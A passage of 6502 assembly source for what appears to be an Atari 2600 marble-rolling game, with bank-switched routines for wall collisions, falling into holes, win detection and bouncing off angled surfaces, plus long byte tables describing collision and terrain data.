dc.b $02
dc.b $01
dc.b $00
dc.b $00
dc.b $02
dc.b $02
dc.b $0A
dc.b $06
dc.b $02
dc.b $01
dc.b $00
; 80-61
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $02
dc.b $02
dc.b $0A
dc.b $0A
dc.b $2A
dc.b $2A
dc.b $2A
dc.b $2A
dc.b $2A
dc.b $2A
dc.b $2A
; 100-81
dc.b $2A
dc.b $2A
dc.b $2A
dc.b $2A
dc.b $2A
dc.b $2A
dc.b $2A
dc.b $2A
dc.b $2B
dc.b $2A
dc.b $2C
dc.b $28
dc.b $31
dc.b $25
dc.b $46
dc.b $04
dc.b $40
dc.b $40
dc.b $50
dc.b $50
; 120-101
dc.b $54
dc.b $54
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $56
dc.b $54
dc.b $50
dc.b $50
dc.b $58
dc.b $50
dc.b $50
dc.b $40
dc.b $60
dc.b $40
dc.b $40
; 140-121
dc.b $00
dc.b $80
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $05
dc.b $25
dc.b $2C
dc.b $24
dc.b $24
dc.b $12
dc.b $11
dc.b $09
; 160-141
dc.b $09
dc.b $05
dc.b $05
dc.b $02
dc.b $01
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $80
; 180-161
dc.b $80
dc.b $40
dc.b $40
dc.b $20
dc.b $20
dc.b $10
dc.b $50
dc.b $48
dc.b $48
dc.b $68
dc.b $48
dc.b $48
dc.b $10
dc.b $90
dc.b $20
dc.b $20
dc.b $40
dc.b $40
dc.b $80
dc.b $00
; 200-181
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
;==============================
;==============================
ORG $CFF6
BANKS_AND_VECTORS
;==============================
;#####################################################
;#####################################################
;#####################################################
;### ###
;### Bank 2 below ###
;### ###
;#####################################################
;#####################################################
;#####################################################
;============
org $D000
;============
JUMP_TABLE
org $D018
rorg $F018
;=================
Bank2Code
;=================
;==================
; BANK 2 organized
;==================
;JSR HandleHole
;JSR HandleCollision
;JSR HandleMusic
;JSR EdgeOfScreenCollisions
; Return to Bank 1
;LDA #<AfterCollision_InBank1
;STA ReturnAddress
;LDA #>AfterCollision_InBank1
;STA ReturnAddress+1
;JMP Bank1
;==================
; Check what our table lookup did
; and process it accordingly
;==================
LDA CollisionStatusFromTable
CMP #WIN
BNE NotAWinCondition
; Win condition
LDA #2
STA GamePhase
IF DEBUG = 1
LDA #$88
STA COLUBK
ELSE
LDA #$88
STA COLUBK
ENDIF
JMP ReturntoBank1FromBank2
NotAWinCondition
CMP #HOLE
BNE NotAHoleCondition
; Service a "fell in hole" situation
IF DEBUG = 1
LDA #$48
STA COLUBK
ELSE
JSR FellInHole
ENDIF
JMP ReturntoBank1FromBank2
NotAHoleCondition
CMP #BUMP
BNE NotABumpCondition
IF DEBUG = 1
LDA #$28
STA COLUBK
ELSE
;JSR SwapMomentum
JSR AdjustUsBack ; push us back to before we fell
LDA #0
STA Player0SpeedDown
STA Player0SpeedUp
STA Player0SpeedLeft
STA Player0SpeedRight
LDA #$80 ; middle value
STA Player0VPositionA
STA Player0HPositionA
LDA #7
STA AUDC0
STA AUDV0
STA AUDF0
ENDIF
JMP ReturntoBank1FromBank2
NotABumpCondition
LDA #0
STA COLUBK
; Disable sounds, since no collision
STA AUDV0
JMP ReturntoBank1FromBank2
;=================
; Return to Bank 1
;=================
ReturntoBank1FromBank2
LDA #<AfterCollision_InBank1
STA ReturnAddress
LDA #>AfterCollision_InBank1
STA ReturnAddress+1
JMP Bank1
;=================
;==================
; Collision detection
;==================
HandleCollision
; We are going to do 4 checks here.
; There is a square that's checked.
; This checks the "upper left corner"
LDA Player0HPosition ; initial value 78
CLC
ADC #3 ; go from bit zero to bit 3 (of 7).
LSR
LSR ; divide by 4.
STA Temp
LDA Player0VPosition ; initial value 189
SEC
SBC #1
TAX
LDA CollisionTable1,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BNE ULCheckTable2
JMP SwapMomentum
ULCheckTable2
LDA CollisionTable2,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BNE URCollisionCheck
JMP SwapMomentum
; This checks the "upper right corner"
URCollisionCheck
LDA Player0HPosition ; initial value 78
CLC
ADC #4 ; go from bit zero to bit 4 (of 7)
LSR
LSR ; divide by 4.
STA Temp
LDA Player0VPosition ; initial value 189
SEC
SBC #1
TAX
LDA CollisionTable1,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ SwapMomentum
LDA CollisionTable2,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ SwapMomentum
; This checks the "lower left corner"
LDA Player0HPosition ; initial value 78
CLC
ADC #3 ; go from bit zero to bit 3 (of 7).
LSR
LSR ; divide by 4.
STA Temp
LDA Player0VPosition ; initial value 189
SEC
SBC #2
TAX
LDA CollisionTable1,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ SwapMomentum
LDA CollisionTable2,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ SwapMomentum
; This checks the "lower right corner"
LDA Player0HPosition ; initial value 78
CLC
ADC #4 ; go from bit zero to bit 4 (of 7)
LSR
LSR ; divide by 4.
STA Temp
LDA Player0VPosition ; initial value 189
SEC
SBC #2
TAX
LDA CollisionTable1,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ SwapMomentum
LDA CollisionTable2,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ SwapMomentum
; Disable sounds, since no collision
LDA #0
STA AUDV0
JMP CollisionsDone
;==================
;==================
; Second half of above routine.
; Calls subroutines
;==================
SwapMomentum
; We have a hit! Play a tone
LDA #7
STA AUDC0
STA AUDV0
STA AUDF0
; Figure out direction to bounce based on piece
LDA CollisionByte
AND #%11000000
CMP #ANGLE_PIPE
BEQ HandleAnglePipe
CMP #ANGLE_SLASH
BEQ HandleAngleSlash
CMP #ANGLE_BACKSLASH
BEQ HandleAngleBackslash
; No other situations
; so, fall through to HandleAngleMinus
HandleAngleMinus
JSR AdjustUsBack
JSR SwapMomentumVert
JMP CollisionsDone
HandleAnglePipe
JSR AdjustUsBack
JSR SwapMomentumHoriz
JMP CollisionsDone
HandleAngleSlash
JSR AdjustUsBack
JSR SwapMomentumSlash
JMP CollisionsDone
HandleAngleBackslash
JSR AdjustUsBack
JSR SwapMomentumBackSlash
; TEST CODE
;LDA #0
;STA Player0SpeedLeft
;STA Player0SpeedRight
;STA Player0SpeedUp
;STA Player0SpeedDown
CollisionsDone
JSR EdgeOfScreenCollisions
;==============
RTS
;==============
;==================
; if we fell in a hole handler
;==================
HandleHole
; We are going to do 4 checks here.
; There is a square that's checked.
; This checks the "upper left corner"
LDA Player0HPosition ; initial value 78
CLC
ADC #3 ; go from bit zero to bit 3 (of 7).
LSR
LSR ; divide by 4.
STA Temp
LDA Player0VPosition ; initial value 189
SEC
SBC #1
TAX
LDA HoleTable1,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BNE HoleULCheckTable2
JMP FellInHole
HoleULCheckTable2
LDA HoleTable2,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BNE HoleURCollisionCheck
JMP FellInHole
; This checks the "upper right corner"
HoleURCollisionCheck
LDA Player0HPosition ; initial value 78
CLC
ADC #4 ; go from bit zero to bit 4 (of 7)
LSR
LSR ; divide by 4.
STA Temp
LDA Player0VPosition ; initial value 189
SEC
SBC #1
TAX
LDA HoleTable1,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ FellInHole
LDA HoleTable2,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ FellInHole
; This checks the "lower left corner"
LDA Player0HPosition ; initial value 78
CLC
ADC #3 ; go from bit zero to bit 3 (of 7).
LSR
LSR ; divide by 4.
STA Temp
LDA Player0VPosition ; initial value 189
SEC
SBC #2
TAX
LDA HoleTable1,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ FellInHole
LDA HoleTable2,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ FellInHole
; This checks the "lower right corner"
LDA Player0HPosition ; initial value 78
CLC
ADC #4 ; go from bit zero to bit 4 (of 7)
LSR
LSR ; divide by 4.
STA Temp
LDA Player0VPosition ; initial value 189
SEC
SBC #2
TAX
LDA HoleTable1,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ FellInHole
LDA HoleTable2,X ; returns a number.
STA CollisionByte
AND #%00111111
CMP Temp ; returns a number.
BEQ FellInHole
; Disable sounds, since didn't fall in hole
LDA #0
STA AUDV0
;==================
RTS
;==================
;==================
; Part of the above, hole handler
;==================
FellInHole
LDA #1
STA MarbleFallStatus
JSR AdjustUsBack ; push us back to before we fell
LDA #0
STA Player0SpeedDown
STA Player0SpeedUp
STA Player0SpeedLeft
STA Player0SpeedRight
LDA #$80 ; middle value
STA Player0VPositionA
STA Player0HPositionA
;==================
RTS
;==================
;==================
; Music stuff
;==================
HandleMusic
RTS
;==============
; Swap momentum
;==============
SwapMomentumVert
LDA Player0SpeedUp
BEQ GoingDown
GoingUp
LDA Player0SpeedUp
STA Player0SpeedDown
LDA #0
STA Player0SpeedUp
DEC Player0VPosition
JMP GoingLeftOrRight
GoingDown
LDA Player0SpeedDown
BEQ GoingLeftOrRight
LDA Player0SpeedDown
STA Player0SpeedUp
LDA #0
STA Player0SpeedDown
INC Player0VPosition
GoingLeftOrRight
LDA #$80 ; middle value
STA Player0VPositionA
RTS
;==================
;==================
SwapMomentumHoriz
LDA Player0SpeedLeft
BEQ GoingRight
GoingLeft
LDA Player0SpeedLeft
STA Player0SpeedRight
LDA #0
STA Player0SpeedLeft
INC Player0HPosition
JMP RegularCollisionsDone
GoingRight
LDA Player0SpeedRight
BEQ RegularCollisionsDone
LDA Player0SpeedRight
STA Player0SpeedLeft
LDA #0
STA Player0SpeedRight
DEC Player0HPosition
RegularCollisionsDone
LDA #$80 ; middle value
STA Player0HPositionA
RTS
;==================
;==================
; adjust us to go back one space
;==================
AdjustUsBack
LDA SWCHAStore
AND #%00010000
BNE DontAdjustDown
DEC Player0VPosition
DontAdjustDown
LDA SWCHAStore
AND #%00100000
BNE DontAdjustUp
INC Player0VPosition
DontAdjustUp
LDA SWCHAStore
AND #%01000000
BNE DontAdjustLeft
INC Player0HPosition
DontAdjustLeft
LDA SWCHAStore
AND #%10000000
BNE DontAdjustRight
DEC Player0HPosition
DontAdjustRight
RTS
;==================
;==================
SwapMomentumSlash
LDA Player0SpeedDown
STA Temp
LDA Player0SpeedLeft
STA Player0SpeedDown
LDA Temp
STA Player0SpeedLeft
LDA Player0SpeedUp
STA Temp
LDA Player0SpeedRight
STA Player0SpeedUp
LDA Temp
STA Player0SpeedRight
;INC Player0HPosition
;DEC Player0HPosition
LDA #$80 ; middle value
STA Player0HPositionA
RTS
;==================
;==================
SwapMomentumBackSlash
LDA Player0SpeedUp
STA Temp
LDA Player0SpeedLeft
STA Player0SpeedUp
LDA Temp
STA Player0SpeedLeft
LDA Player0SpeedDown
STA Temp
LDA Player0SpeedRight
STA Player0SpeedDown
LDA Temp
STA Player0SpeedRight
;INC Player0HPosition
;DEC Player0HPosition
LDA #$80 ; middle value
STA Player0HPositionA
RTS
;==================
;==================
EdgeOfScreenCollisions
; Edge of screen collisions
LDA Player0HPosition ; initial value 78
CMP #16 ; left-hand extrema
BEQ LeftEdgeCollision
CMP #15 ; just in case
BEQ LeftEdgeCollision
JMP NoLeftEdgeCollision
LeftEdgeCollision
; Swap momentum
;LDA Player0SpeedLeft
;STA Player0SpeedRight
LDA #0
STA Player0SpeedLeft
LDA #16
STA Player0HPosition
JMP NoRightEdgeCollision
NoLeftEdgeCollision
LDA Player0HPosition ; initial value 78
CMP #136 ; right-hand extrema
BEQ RightEdgeCollision
CMP #137 ; just in case
BEQ RightEdgeCollision
JMP NoRightEdgeCollision
RightEdgeCollision
; Swap momentum
;LDA Player0SpeedRight
;STA Player0SpeedLeft
LDA #0
STA Player0SpeedRight
LDA #136
STA Player0HPosition
NoRightEdgeCollision
RTS
;==================
;==============================
;==========
;ORG $DD00
align 256
;==========
CollisionTable2
HoleTable1
; 20-1
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 40-21
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 4
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 100-81
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 160-141
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
;==============================
;==========
;ORG $DE00
align 256
;==========
CollisionTable1
; 20-1
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 40-21
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 100-81
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 7+ANGLE_PIPE
dc.b 7+ANGLE_PIPE
dc.b 7+ANGLE_SLASH
dc.b 8+ANGLE_SLASH
dc.b 8+ANGLE_SLASH
dc.b 9+ANGLE_SLASH
; 160-141
dc.b 9+ANGLE_SLASH
dc.b 10+ANGLE_SLASH
dc.b 10+ANGLE_SLASH
dc.b 11+ANGLE_SLASH
dc.b 12+ANGLE_SLASH
dc.b 13+ANGLE_SLASH
dc.b 13+ANGLE_SLASH
dc.b 14+ANGLE_SLASH
dc.b 14+ANGLE_SLASH
dc.b 15+ANGLE_SLASH
dc.b 15+ANGLE_SLASH
dc.b 16+ANGLE_SLASH
dc.b 17+ANGLE_SLASH
dc.b 18+ANGLE_SLASH
dc.b 18+ANGLE_SLASH
dc.b 19+ANGLE_SLASH
dc.b 20+ANGLE_MINUS
dc.b 0
dc.b 4+ANGLE_SLASH
dc.b 5+ANGLE_SLASH
; 180-161
dc.b 5+ANGLE_SLASH
dc.b 6+ANGLE_SLASH
dc.b 6+ANGLE_SLASH
dc.b 7+ANGLE_SLASH
dc.b 7+ANGLE_SLASH
dc.b 8+ANGLE_SLASH
dc.b 8+ANGLE_SLASH
dc.b 9+ANGLE_SLASH
dc.b 9+ANGLE_PIPE
dc.b 9+ANGLE_PIPE
dc.b 9+ANGLE_PIPE
dc.b 9+ANGLE_BACKSLASH
dc.b 8+ANGLE_BACKSLASH
dc.b 8+ANGLE_BACKSLASH
dc.b 7+ANGLE_BACKSLASH
dc.b 7+ANGLE_BACKSLASH
dc.b 6+ANGLE_BACKSLASH
dc.b 6+ANGLE_BACKSLASH
dc.b 5+ANGLE_BACKSLASH
dc.b 4+ANGLE_BACKSLASH
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
;==============================
;==========
;ORG $DF00
align 256
;==========
HoleTable2
; 20-1
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 40-21
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 4
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 100-81
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 33+ANGLE_BACKSLASH
dc.b 33+ANGLE_BACKSLASH
dc.b 33+ANGLE_BACKSLASH
dc.b 32+ANGLE_BACKSLASH
dc.b 32+ANGLE_BACKSLASH
dc.b 31+ANGLE_BACKSLASH
; 160-141
dc.b 31+ANGLE_BACKSLASH
dc.b 30+ANGLE_BACKSLASH
dc.b 30+ANGLE_BACKSLASH
dc.b 29+ANGLE_BACKSLASH
dc.b 28+ANGLE_BACKSLASH
dc.b 27+ANGLE_BACKSLASH
dc.b 27+ANGLE_BACKSLASH
dc.b 26+ANGLE_BACKSLASH
dc.b 26+ANGLE_BACKSLASH
dc.b 25+ANGLE_BACKSLASH
dc.b 25+ANGLE_BACKSLASH
dc.b 24+ANGLE_BACKSLASH
dc.b 23+ANGLE_BACKSLASH
dc.b 22+ANGLE_BACKSLASH
dc.b 22+ANGLE_BACKSLASH
dc.b 21+ANGLE_BACKSLASH
dc.b 0
dc.b 0
dc.b 0
dc.b 35+ANGLE_BACKSLASH
; 180-161
dc.b 35+ANGLE_BACKSLASH
dc.b 34+ANGLE_BACKSLASH
dc.b 34+ANGLE_BACKSLASH
dc.b 33+ANGLE_BACKSLASH
dc.b 33+ANGLE_BACKSLASH
dc.b 32+ANGLE_BACKSLASH
dc.b 32+ANGLE_BACKSLASH
dc.b 31+ANGLE_BACKSLASH
dc.b 31+ANGLE_PIPE
dc.b 31+ANGLE_PIPE
dc.b 31+ANGLE_PIPE
dc.b 31+ANGLE_SLASH
dc.b 32+ANGLE_SLASH
dc.b 32+ANGLE_SLASH
dc.b 33+ANGLE_SLASH
dc.b 33+ANGLE_SLASH
dc.b 34+ANGLE_SLASH
dc.b 34+ANGLE_SLASH
dc.b 35+ANGLE_SLASH
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
;==============================
ORG $DFF6
BANKS_AND_VECTORS
;==============================
;#####################################################
;#####################################################
;#####################################################
;### ###
;### Bank 3 below ###
;### ###
;#####################################################
;#####################################################
;#####################################################
;============
org $E000
;============
JUMP_TABLE
org $E018
rorg $F018
;=================
Bank3Code
;=================
; New constants
FLAT = %00000000
BUMP = %00000001
HOLE = %00000010
WIN = %00000011
; Set to a default value
LDA #$FF
STA CollisionStatusFromTable
LDA Player0HPosition ; initial value 78
SEC
SBC #16
CLC
ADC #3 ; go from bit zero to bit 3 (of 7).
LSR
LSR ; divide by 4.
TAX
; number is 0-31
; If 0-15, do in this bank
; If 16-31, do in next bank
CMP #16
BPL GotoBank4FromBank3
; Ok, if we fell through to here, we're doing a lookup
LDA ProcessTableLSBBank3,X
STA ReturnAddress
LDA ProcessTableMSBBank3,X
STA ReturnAddress+1
; Get the line
LDA Player0VPosition ; initial value 189
SEC
IF DEBUG = 1
SBC #1
ELSE
SBC #3
ENDIF
TAY
LDA (ReturnAddress),Y
;===========
BNE FinishedProcessingBank3
; otherwise, check if we're an edge-case
LDA Player0HPosition ; initial value 78
SEC
SBC #16
CLC
ADC #4 ; go from bit zero to bit 4 (of 7).
LSR
LSR ; divide by 4.
TAX
; number is 0-31
; If 0-15, do in this bank
; If 16-31, do in next bank
CMP #16
BPL GotoBank4FromBank3
; number is 0-15 for bank4 checks
LDA ProcessTableLSBBank3,X
STA ReturnAddress
LDA ProcessTableMSBBank3,X
STA ReturnAddress+1
; Get the line
LDA Player0VPosition ; initial value 189
SEC
IF DEBUG = 1
SBC #1
ELSE
SBC #3
ENDIF
TAY
LDA (ReturnAddress),Y
FinishedProcessingBank3
;===========
STA CollisionStatusFromTable
JMP Bank2
;=================
; Test Bank 4
;=================
GotoBank4FromBank3
JMP Bank4
;=================
ProcessTableLSBBank3
; 1-8
.byte #<Column1Information
.byte #<Column2Information
.byte #<Column3Information
.byte #<Column4Information
.byte #<Column5Information
.byte #<Column6Information
.byte #<Column7Information
.byte #<Column8Information
; 9-16
.byte #<Column9Information
.byte #<Column10Information
.byte #<Column11Information
.byte #<Column12Information
.byte #<Column13Information
.byte #<Column14Information
.byte #<Column15Information
.byte #<Column16Information
ProcessTableMSBBank3
; 1-8
.byte #>Column1Information
.byte #>Column2Information
.byte #>Column3Information
.byte #>Column4Information
.byte #>Column5Information
.byte #>Column6Information
.byte #>Column7Information
.byte #>Column8Information
; 9-16
.byte #>Column9Information
.byte #>Column10Information
.byte #>Column11Information
.byte #>Column12Information
.byte #>Column13Information
.byte #>Column14Information
.byte #>Column15Information
.byte #>Column16Information
;=================================
; Column Information organization
;=================================
; Conditions handled (LSB):
; Nothing = %0000
; Bump = %0001
; Hole = %0010
; Winning space = %0011
; 8 angles
; Conditions handled (MSB):
; Slope = 0-15
; Slope = UR/UL/DL/DR bump
;==================
; New constants
;FLAT = %00000000
;BUMP = %00000001
;HOLE = %00000010
;WIN = %00000011
Column1Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b WIN
dc.b WIN
dc.b WIN
dc.b WIN
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 140-121
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 160-141
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
